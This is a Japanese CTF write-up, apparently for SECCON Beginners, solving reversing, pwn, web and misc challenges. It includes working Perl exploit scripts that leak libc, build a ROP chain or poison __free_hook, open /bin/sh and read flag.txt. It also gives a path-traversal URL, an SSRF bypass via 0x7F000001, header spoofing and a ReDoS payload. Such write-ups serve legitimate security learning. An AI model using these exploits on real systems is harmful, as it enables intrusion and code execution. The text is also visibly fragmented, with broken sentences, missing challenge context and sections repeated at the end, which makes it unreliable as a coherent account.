ここからは、青い階段のような模様に触ることで行けるはずのマップに行くことを狙うことにした。
主人公を別のマップに移動させたい
を参考にすると、マップは小さい整数で表されそうである。
同じマップ内を移動して Unchanged value で Next Scan 、マップ遷移させて Changed value で Next Scan
を繰り返し、さらに「Game.exe
と表示される小さい値」というヒューリスティックで絞り込むことで、
以下の候補に絞ることができた。
Game.exe+6836D8 (00A836D8)
Game.exe+68A058 (00A8A058)
Game.exe+68A064 (00A8A064)
Game.exe+68A098 (00A8A098)
しかし、このなかのどれを普通に書き換えても、うまくマップを遷移させることはできなかった。
そこで、これらの場所に対してBrowse this memory region → Data Breakpoint → Breakpoint on Write を設定した。
この状態でマップ遷移することで、ブレークポイントに引っかかるのが確認できた。
このとき、最初にデータが変化したのは Game.exe+6836D8 (00A836D8)
であった。
そこで、このブレークポイントで止まった状態で、
ここの値を2
に設定することで、以下の新しいマップに遷移することができた。
『新しいMAP』 (でびどる!) は関係ない。
このマップには人が2体配置されており、左側の人に話しかける(スペースキーまたはエンターキー)ことで、
flagの残りの部分が表示された。
手打ちするのは面倒そうだったので、先頭部分b3_c4r3
をメモリから探すことにした。
Memory Viewer の Search → Find memory から検索することで、この文字列を発見できた。
選択して Copy to clipboard を押すことで十六進表現がコピーできたので、CyberChefでデコードした。
ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}
depixelization
画像ファイル(PNG)と、それを生成したと考えられるPythonのソースコードが与えられた。
このプログラムは、flag
を1文字ずつ画像に変換し、それを横に結合するものだった。
そこで、まずはこのプログラムのflag
の部分を以下のように書き換え、
候補となる文字それぞれに対応するパターンを出力させた。
flag = ""
for i in range(0x20, 0x7f):
flag += chr(i)
次に、
テンプレートマッチング — OpenCV-Python Tutorials 1 documentation
を参考にし、問題の画像の各文字を表す部分について最もよく当てはまるパターンを求めることで、flagが得られた。
match.py
match.py
import cv2
target = cv2.imread("depixelization/output.png")
zisyo = cv2.imread("output.png")
width = 85
height = target.shape[0]
t_width = target.shape[1]
ans = ""
t = 0
while t < t_width:
sub = target[:,t:t+width]
# cv2.imwrite("%04d.png" % t, sub)
res = cv2.matchTemplate(zisyo, sub, cv2.TM_SQDIFF)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
ans += chr(0x20 + min_loc[0] // width)
t += width
print(ans)
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
firm-kakikudasi-2.c
unsigned int embed_data[] = {
0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
0x36, 0x64, 0x20, 0x2E, 0x59
};
int main(void) {
char buffer_472_4[4096]; /* r7 + 472 - 4 */
char buffer_376_4[1024]; /* r7 + 376 - 4 */
char buffer_344_12[1024]; /* r7 + 344 - 12 */
char buffer_312_4[1024]; /* r7 + 312 - 4 */
int buffer_88_24[256]; /* r7 + 88 - 24 */
char* file_data; /* r7 + 56 - 28 */
struct bind_data_struct {
unsigned short v0, port;
unsigned int v1;
unsigned int unused[2];
} bind_data; /* r7 + 56 - 24 */
char ac_addr[16]; /* r7 + 56 - 8 */
int ac_addrlen; /* r7 + 24 - 20 */
int i; /* r7 + 24 - 16 */
int sock; /* r7 + 24 - 12 */
int ac_sock; /* r7 + 24 - 8 */
FILE* fp; /* r7 + 24 - 4 */
int file_size; /* r7 + 24 */
int len;
int tmp1, tmp2;
/* 90a */
sock = socket(2, 1, 0);
/* 920 */
if (sock < 0) {
perror("Failed to set socket.");
return 1;
}
/* 93a */
bind_data.v0 = 2;
bind_data.port = htons(8080);
bind_data.v1 = 0;
if (bind(sock, &bind_data, 16) != 0) {
perror("Failed to bind.");
return 1;
}
/* 98a */
if (listen(sock, 5) != 0) {
perror("Failed to listen.");
return 1;
}
/* 9ac */
for (;;) {
/* 9ac */
ac_addrlen = 16;
ac_sock = accept(sock, ac_addr, &ac_addrlen);
/* 9d6 */
fp = fopen("ascii.txt", "r");
/* 9ee */
if (fp == 0) {
perror("Failed to read file.");
close(ac_sock);
return 1;
}
/* a14 */
fseek(fp, 0, 2);
file_size = ftell(fp);
fseek(fp, 0, 0):
/* a46 */
file_data = calloc(file_size, 1);
if (file_data == 0) {
perror("Failed to read file.");
close(ac_sock);
return 1;
}
/* a84 */
fread(file_data, 1, file_size, fp);
fclose(fp);
/* aac */
len = strlen(file_data);
send(ac_sock, file_data, len, 0);
free(file_data);
/* adc */
memcpy(buffer_376_4, "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n");
len = strlen(buffer_376_4);
send(ac_sock, buffer_376_4, len, );
/* b14 */
memcpy(buffer_344_12, "Input password (password is FLAG) > ", 37);
/* b34 */
len = strlen(buffer_344_12);
send(ac_sock, buffer_344_12, len, 0);
/* b56 */
memset(buffer_472_4, 0, 4096);
recv(ac_sock, buffer_472_4, 4096, 0);
printf("%s", buffer_472_4);
/* b92 */
memcpy(buffer_88_24, embed_data, 244);
if (strlen(buffer_472_4) != 61) {
/* bba */
memcpy(buffer_312_4, "Incorrect password.\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
/* c04 */
for (i = 0; i <= 60; i++) {
/* c10 */
tmp1 = buffer_472_4[i] ^ 0x53;
tmp2 = buffer_88_24[i];
if (tmp1 != tmp2) {
/* c40 */
memcpy(buffer_312_4, "Incorrect password.\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
}
/* cba */
memcpy(buffer_312_4, "Correct password!!!\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
}
あらかじめ用意された配列の要素と比較している。
そこで、これに当てはまる入力を以下のプログラムで求めることで、flagが得られた。
get.py
embed_data = [
0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
0x36, 0x64, 0x20, 0x2E, 0x59
]
ans = ""
for e in embed_data:
ans += chr(e ^ 0x53)
print(ans)
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
long
型の値を書き込めるようになっていた。また、指定する前にスタックの様子をわかりやすく図示してくれる。
さらに、
execve
により/bin/cat flag.txt
を実行するwin
関数がある。win
関数のアドレスを求める。そして、書き込み先のアドレスを図中の
saved ret addr
の位置、値を
win
関数の冒頭のpush
命令の次のアドレスである0x4011fb
とした。push
命令を飛ばすのは、リターンアドレスを利用して関数に制御を移すにあたってずれるスタックのアラインメントを調整するためである。
00000000004011f6 <win>:
4011f6: f3 0f 1e fa endbr64
4011fa: 55 push %rbp
4011fb: 48 89 e5 mov %rsp,%rbp
4011fe: 48 83 ec 20 sub $0x20,%rsp
(よく見たら、図中のsaved ret addrは正しいようだが、targetとvalueが逆のような気が…)
実行例
[Addr] |[Value]
====================+===================
0x00007ffdf1587b70 | 0x0000000000000000 <- buf
0x00007ffdf1587b78 | 0x0000000000000000
0x00007ffdf1587b80 | 0x0000000000000000
0x00007ffdf1587b88 | 0x0000000000000000
0x00007ffdf1587b90 | 0x0000000000000000 <- target
0x00007ffdf1587b98 | 0x0000000000000000 <- value
0x00007ffdf1587ba0 | 0x0000000000401520 <- saved rbp
0x00007ffdf1587ba8 | 0x00007f2207b26bf7 <- saved ret addr
0x00007ffdf1587bb0 | 0x0000000000000001
0x00007ffdf1587bb8 | 0x00007ffdf1587c88
Where would you like to rewrite it?
> 0x00007ffdf1587ba8
0x00007ffdf1587ba8 = 0x4011fb
[Addr] |[Value]
====================+===================
0x00007ffdf1587b70 | 0x6266313130347830 <- buf
0x00007ffdf1587b78 | 0x623738353166000a
0x00007ffdf1587b80 | 0x00000000000a3861
0x00007ffdf1587b88 | 0x0000000000000000
0x00007ffdf1587b90 | 0x00000000004011fb <- target
0x00007ffdf1587b98 | 0x00007ffdf1587ba8 <- value
0x00007ffdf1587ba0 | 0x0000000000401520 <- saved rbp
0x00007ffdf1587ba8 | 0x00000000004011fb <- saved ret addr
0x00007ffdf1587bb0 | 0x0000000000000001
0x00007ffdf1587bb8 | 0x00007ffdf1587c88
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
main
関数はgets
してそれをputs
するだけのシンプルなものであった。また、配布ファイル中に
libc-2.27.so
があることから、これを活用することが求められそうだ。メインのELFファイルのTDM-GCCのobjdumpによる逆アセンブルの結果を見ると、
0000000000401080 <alarm@plt>:
401080: f3 0f 1e fa endbr64
401084: f2 ff 25 95 2f 00 00 bnd jmpq *0x2f95(%rip) # 404020 <alarm@GLIBC_2.2.5>
40108b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
alarm
関数の位置が格納されそうである。また、
libc-2.27.so
のTDM-GCCのobjdumpによる逆アセンブルの結果より、alarm
関数の仮の位置もわかる。00000000000e4610 <alarm@@GLIBC_2.2.5>:
e4610: b8 25 00 00 00 mov $0x25,%eax
e4615: 0f 05 syscall
puts
関数でalarm
関数の位置を出力させた後、もう一度main
関数を実行させるようにした。0x401283 # pop rdi; ret
0x404020 # alarm
0x401070 # puts
0x401196 # main
これで
alarm
関数のメモリ上の位置が求まるので、仮の位置を引くことでその差も求まる。この情報と、
libc-2.27.so
からバイナリエディタで検索して求めた各種gadgetの場所の情報をもとに、まず
gets
関数で適当な場所に/bin/sh
を書き込ませ、それを用いてexecve("/bin/sh", 0, 0)
を実行させた。0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"を書き込ませる場所
0x401090 # gets
0x43ae8 + offset # pop rax; ret
59
0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"
0x23eea + offset # pop rsi; ret
0
0x01b96 + offset # pop rdx; ret
0
0xd2745 + offset # syscall
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"beginners-rop.quals.beginners.seccon.jp",
PeerPort=>4102, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
my $alarm_addr = 0xe4610;
my $binsh_buf = 0x404018;
my $query = ("a" x 0x100) . "01234567" . pack("Q*",
0x401283, # pop rdi; ret
0x404020, # alarm
0x401070, # puts
0x401196 # main
) . "\n";
print $sock $query;
my $l1 = <$sock>;
while (index($l1, "\n") < 0) { $l1 .= <$sock>; }
my $addr_str = <$sock>;
while (index($addr_str, "\n") < 0) { $addr_str .= <$sock>; }
chomp($addr_str);
my $addr = unpack("Q", $addr_str . ("\x00" x (8 - length($addr_str))));
printf("addr = 0x%x\n", $addr);
my $offset = $addr - $alarm_addr;
my $query2 = ("a" x 0x100) . "01234567" . pack("Q*",
0x44c58 + $offset, # pop rdi; ret
$binsh_buf,
0x401090, # gets
0x43ae8 + $offset, # pop rax; ret
59,
0x44c58 + $offset, # pop rdi; ret
$binsh_buf,
0x23eea + $offset, # pop rsi; ret
0,
0x1b96 + $offset, # pop rdx; ret
0,
0xd2745 + $offset, # syscall
) . "\n";
print $sock $query2;
my $l2 = <$sock>;
while (index($l2, "\n") < 0) { $l2 .= <$sock>; }
print $sock "/bin/sh\n";
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
while (<$sock>) { print $_; }
close($sock);
ctf4b{H4rd_ROP_c4f3}
malloc()
)するprintf()
の第一引数に渡して出力するfree()
)するfree()した場所への書き込みで、malloc()の結果を操作する - Qiita
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
を入力して出力させ、様子を見てみた。すると、出力は以下のようになった。 (行番号と改行を補っている)
1: 0xffffffda
2: (nil)
3: (nil)
4: 0x7ffdf8afa091
5: (nil)
6: 0x7ffdf8afa0f0
7: 0x55df275eb3cf
8: 0x7ffdf8afa1d0
9: 0x300000000
10: 0x55df275eb7f0
11: 0x7f3c62d6cbf7
12: 0x1
13: 0x7ffdf8afa1d8
14: 0x100008000
15: 0x55df275eb2c9
11番目の
0x7f3c62d6cbf7
がどうやらlibcの位置の特定に使えるmain
のリターンアドレスのようである。そして、今回問題を解いていくにあたって得た経験則として、
仮位置とメモリ上の位置の十六進数の下3桁が一致することが多いようなので、
TDM-GCCのobjdumpによる
libc-2.27.so
の逆アセンブル結果中の__libc_start_main@@GLIBC_2.2.5
の中で、このリターンアドレスと下3桁が一致する仮位置を持つ戻り先である0x21bf7が、
このリターンアドレスに対応すると推測できた。
21bdd: 48 8b 05 c4 92 3c 00 mov 0x3c92c4(%rip),%rax # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
21be4: 48 8b 74 24 08 mov 0x8(%rsp),%rsi
21be9: 8b 7c 24 14 mov 0x14(%rsp),%edi
21bed: 48 8b 10 mov (%rax),%rdx
21bf0: 48 8b 44 24 18 mov 0x18(%rsp),%rax
21bf5: ff d0 callq *%rax
21bf7: 89 c7 mov %eax,%edi
21bf9: e8 42 16 02 00 callq 43240 <exit@@GLIBC_2.2.5>
次にこの情報と、予習によって学んだ
malloc()
が返すアドレスを設定する方法を用い、malloc()
に__free_hook
のアドレスを返させることで、__free_hook
に値を書き込めるようにした。malloc()
が返すアドレスを設定する方法は、以下のようなものである。malloc()
で同じ大きさの領域を2個確保するfree()
で開放するmalloc()
に返させたいアドレスを書き込むmalloc()
で同じ大きさの領域を2個確保する → 2個目として書き込んだアドレスが返る確保・開放・(開放した領域を含む)書き込みが十分な自由度で行えるので、この操作ができ、実際に有効であった。
__free_hook
の仮位置は、TDM-GCCのobjdumpによるlibc-2.27.so
の逆アセンブル結果に 90e79: 48 8b 05 70 a0 35 00 mov 0x35a070(%rip),%rax # 3eaef0 <__free_hook@@GLIBC_2.2.5-0x29f8>
0x3eaef0 + 0x29f8 = 0x3ed8e8
が__free_hook
の仮位置である。__free_hook
に書き込めるようにしたら、これを利用して__free_hook
をsystem
関数に設定した。具体的には、
__libc_system@@GLIBC_PRIVATE
関数の位置を書き込んだ。"/bin/sh"
を設定し、そこに対してfree()
を実行すれば、__free_hook
の設定によりsystem("/bin/sh")
を実行することができる。今回はウマの名前を受け取るのに
fgets()
関数が使われており、入力した改行がバッファに入ってしまうので、/bin/sh
と改行の間にナル文字を入れるのがポイントであった。attack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"uma-catch.quals.beginners.seccon.jp",
PeerPort=>4101, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
sub read_to_prompt {
my $ret = "";
my $rep = 0;
while (index($ret, "> ") < 0) {
my $readlen = read($sock, $ret, 1, length($ret));
unless(defined($readlen)) {
print $ret;
die "socket read error $!\n";
}
if ($readlen == 0) {
sleep 1;
$rep++;
if ($rep > 5) {
print $ret;
die "socket read timeout!\n";
}
}
}
#print $ret;
return $ret;
}
&read_to_prompt();
# obtain libc address offset by printf()
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\n"; &read_to_prompt(); # name
print $sock "3"; &read_to_prompt(); # show hourse
print $sock "0"; # index
my $libc_addr_str = &read_to_prompt();
unless ($libc_addr_str =~ /0x([0-9a-fA-F]+)\n/) {
close($sock);
die "invalid address\n";
}
my $libc_addr = hex($1);
my $libc_offset = $libc_addr - 0x21bf7;
printf("libc_addr = %x\n", $libc_addr);
# 2 malloc() -> 2 free() -> 2 malloc() magic to set address returned by malloc()
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "1"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "2"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "1"; &read_to_prompt(); # index
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "2"; &read_to_prompt(); # index
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "2"; &read_to_prompt(); # index
print $sock (pack("Q", 0x3eaef0 + 0x29f8 + $libc_offset) . "\n"); &read_to_prompt(); # __free_hook
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "4"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
# set __free_hook to __libc_system
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "4"; &read_to_prompt(); # index
print $sock (pack("Q", 0x4f550 + $libc_offset) . "\n"); &read_to_prompt(); # __libc_system
# set string for system()
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "/bin/sh\0\n"; &read_to_prompt(); # address
# call system("/bin/sh")
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "3"; # index
# shell commands
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
# cleanup
print $sock "6"; # exit
print &read_to_prompt();
close($sock);
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}
(このWebページは問題文で紹介されていたものである)
.h
ファイルに直接関数の定義を書く悪い設計。関数の定義は.c
に書いてヘッダには宣言だけを置くべし。レジスタの値の配列、メモリの値の配列、命令を実行する関数の配列が構造体にまとまっており、
命令はこの構造体へのポインタを関数に渡して実行する。
レジスタはそれぞれ8ビットであり、メモリの値の配列は0x4000バイト確保されている。
MVI
というものがある。これは、指定したレジスタまたはメモリ(アドレスは
H:L
レジスタで指定)に、指定した即値を書き込めるものである。今回の実装では、メモリにアクセスする際にアドレスのチェックやマスクをしていないため、
配列は0x4000バイトしか無いのに、0xffffバイト目までアクセスが可能である。
MVI
命令を利用し、system
関数を実行できるアドレスを書き込む"/bin/sh"
を書き込むsystem("/bin/sh")
の実行となるなお、レジスタは12個であるため、
メモリの値の配列と命令を実行する関数の配列の間には4バイトのパディングがあるようであった。
TDM-GCCのobjdumpで逆アセンブルした結果より、0x4010d0が「
system
関数を実行できるアドレス」となる。00000000004010d0 <system@plt>:
4010d0: f3 0f 1e fa endbr64
4010d4: f2 ff 25 45 3f 00 00 bnd jmpq *0x3f45(%rip) # 405020 <system@GLIBC_2.2.5>
4010db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
RET
命令は、プログラムに命令列の読み取りを終了させるために置いている。MVI H, 0x40 <26><40>
MVI L, 0x04 <2E><04>
MVI M, 0x20 <36><D0>
MVI L, 0x05 <2E><05>
MVI M, 0x50 <36><10>
MVI A, 0x2F <3E><2F>
MVI B, 0x62 <06><62>
MVI C, 0x69 <0E><69>
MVI D, 0x6E <16><6E>
MVI E, 0x2F <1E><2F>
MVI H, 0x73 <26><73>
MVI L, 0x68 <2E><68>
NOP <00>
RET <C9>
<26><40><2E><04><36><D0><2E><05><36><10><3E><2F><06><62><0E><69><16><6E><1E><2F><26><73><2E><68><00><C9>
シェルで
cat flag.txt
コマンドを実行することで、flagが得られた。ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}
また、問題文より、
フラグはサーバの /flag
にあります!
https://osoba.quals.beginners.seccon.jp/?page=public/wip.html
https://osoba.quals.beginners.seccon.jp/?page=public/../../../flag
開始直後Access Deniedになったこともあり、tar.gzファイルは参照しなかった。
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
player = Player()
オブジェクトを作るplayer.__dict__
の要素に代入を行うplayer.role == 'WEREWOLF'
となっていれば、flagを出力するこの
player.role
はself.__role
を返すプロパティ関数であり、self.__role
はオブジェクトの初期化(__init__
)時に適当に初期化される。p.__dict__
は{'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}
p.__dict__['_Player__role']
を書き換えれば良さそうであることが読み取れた。そこの
name
を開発者ツールで_Player__role
に書き換え、WEREWOLF
と入力して送信することで、flagが得られた。ctf4b{there_are_so_many_hackers_among_us}
URLのうち半角英数字、
/
、:
以外はオバケの絵文字に置き換えるようになっていた。さらに、URLに
localhost
またはapache
が入っている場合は弾くようになっていた。また、
$_SERVER["REMOTE_ADDR"] === "127.0.0.1"
のとき、flagを出力するようになっていた。X-Forwarded-For
を試してみたが、効果はみられなかった。http://2130706433/
を試したところ、Bad Requestの画面が表示された。
(他の無効なURLだとそもそも画面が表示されなかったので、これは大きな一歩である)
http://2130706433/
でググったところ、127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
が見つかった。
ここにあった
http://0x7F000001/
を入れることで、flagを得ることができた。ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。
nginx/default.conf
を見ると location / {
proxy_pass http://bff:8080;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
X-Forwarded-For: 192.168.111.0
表示されたページでは、flagを含む数種類の情報を得られる感じになっていた。
POSTリクエストで
{"id":0}
しかし、flagを選択するために
{"id":2}
It is forbidden to retrieve Flag from this BFF server.
詳しく見てみると、リクエストを受け付ける
bff/main.go
ではjson.Unmarshal(body, &info)
api/main.go
ではjsonparser.GetInt(body, "id")
詳しい理由はわからないが、
{"id":2, "id":0}
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
.git
ディレクトリを含むファイル一式が与えられた。後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git reflog
して、左端のIDを上からgit diff
に入れていったところ、git diff 7387982
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
.
を入れて手戻りを多く発生させたら時間がかかるかなattack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"mail-address-validator.quals.beginners.seccon.jp",
PeerPort=>5100, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
print $sock "-\@";
my $data = "a" x 10000;
for (my $i = 0; $i < 10; $i++) {
print $sock $data;
print $sock ".";
}
print $sock "a\n";
while (<$sock>) { print $_; }
close($sock);
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
まず、矢印キーでキャラクターを動かせるが、壁の外には出られないようなので、座標を操作して脱出することを狙った。
Game.exe+6861B8 (00A861B8)
に入っていることがわかった。この値を40にすることで、キャラクターを壁の外に出すことができた。
フィールドには
ctf4b{}
と書かれており、{
と}
の間に青い階段のような模様があった。しかし、この青い階段のような模様に触っても何も起きなかった。
主人公を別のマップに移動させたい
を参考にすると、マップは小さい整数で表されそうである。
同じマップ内を移動して Unchanged value で Next Scan 、マップ遷移させて Changed value で Next Scan
を繰り返し、さらに「
Game.exe
と表示される小さい値」というヒューリスティックで絞り込むことで、以下の候補に絞ることができた。
Game.exe+6836D8 (00A836D8)
Game.exe+68A058 (00A8A058)
Game.exe+68A064 (00A8A064)
Game.exe+68A098 (00A8A098)
そこで、これらの場所に対してBrowse this memory region → Data Breakpoint → Breakpoint on Write を設定した。
この状態でマップ遷移することで、ブレークポイントに引っかかるのが確認できた。
このとき、最初にデータが変化したのは
Game.exe+6836D8 (00A836D8)
であった。そこで、このブレークポイントで止まった状態で、
ここの値を
2
に設定することで、以下の新しいマップに遷移することができた。flagの残りの部分が表示された。
b3_c4r3
をメモリから探すことにした。Memory Viewer の Search → Find memory から検索することで、この文字列を発見できた。
選択して Copy to clipboard を押すことで十六進表現がコピーできたので、CyberChefでデコードした。
ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}
flag
を1文字ずつ画像に変換し、それを横に結合するものだった。そこで、まずはこのプログラムの
flag
の部分を以下のように書き換え、候補となる文字それぞれに対応するパターンを出力させた。
flag = ""
for i in range(0x20, 0x7f):
flag += chr(i)
テンプレートマッチング — OpenCV-Python Tutorials 1 documentation
を参考にし、問題の画像の各文字を表す部分について最もよく当てはまるパターンを求めることで、flagが得られた。
match.py
import cv2
target = cv2.imread("depixelization/output.png")
zisyo = cv2.imread("output.png")
width = 85
height = target.shape[0]
t_width = target.shape[1]
ans = ""
t = 0
while t < t_width:
sub = target[:,t:t+width]
# cv2.imwrite("%04d.png" % t, sub)
res = cv2.matchTemplate(zisyo, sub, cv2.TM_SQDIFF)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
ans += chr(0x20 + min_loc[0] // width)
t += width
print(ans)
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}